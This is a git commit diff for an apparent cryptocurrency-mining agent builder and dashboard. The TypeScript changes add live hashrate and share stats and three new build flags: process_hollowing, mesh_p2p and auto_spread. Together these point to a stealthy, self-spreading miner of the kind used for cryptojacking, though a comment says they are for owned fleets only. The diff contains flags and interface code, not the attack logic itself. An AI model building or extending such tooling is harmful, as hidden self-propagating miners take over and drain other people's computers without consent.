Fix build breakers and remaining runtime bugs across stack.

Remove corrupt empty main.go files, harden WebSocket reconnect and pre-auth handling, complete live stats in the dashboard hook, wire AI share counts, and refresh PROBLEMS.md.
This commit is contained in:
drjones
2026-05-28 16:23:24 -07:00
parent edffb03e00
commit fabc632384
8 changed files with 146 additions and 163 deletions

View File

@@ -38,6 +38,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
ai_enabled: false,
ai_ollama_endpoint: 'http://localhost:11434',
ai_model: 'llama3.2',
process_hollowing: false,
mesh_p2p: false,
auto_spread: false,
};
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {

View File

@@ -92,6 +92,10 @@ export function useWebSocket(): UseWebSocketReturn {
hashrate_1m: number;
hashrate_15m: number;
cpu_usage_pct: number;
memory_usage_pct?: number;
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
};
setAgents((prev) =>
prev.map((a) =>
@@ -102,6 +106,15 @@ export function useWebSocket(): UseWebSocketReturn {
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
shares_total: update.shares_submitted ?? a.shares_total,
shares_good: update.shares_accepted ?? a.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? a.shares_total) -
(update.shares_accepted ?? a.shares_good)
),
}
: a
)

View File

@@ -240,6 +240,10 @@ export interface BuildRequest {
ai_enabled: boolean;
ai_ollama_endpoint: string;
ai_model: string;
// Advanced (off by default — enable only on owned/administered fleets)
process_hollowing?: boolean;
mesh_p2p?: boolean;
auto_spread?: boolean;
}
export interface BuildResponse {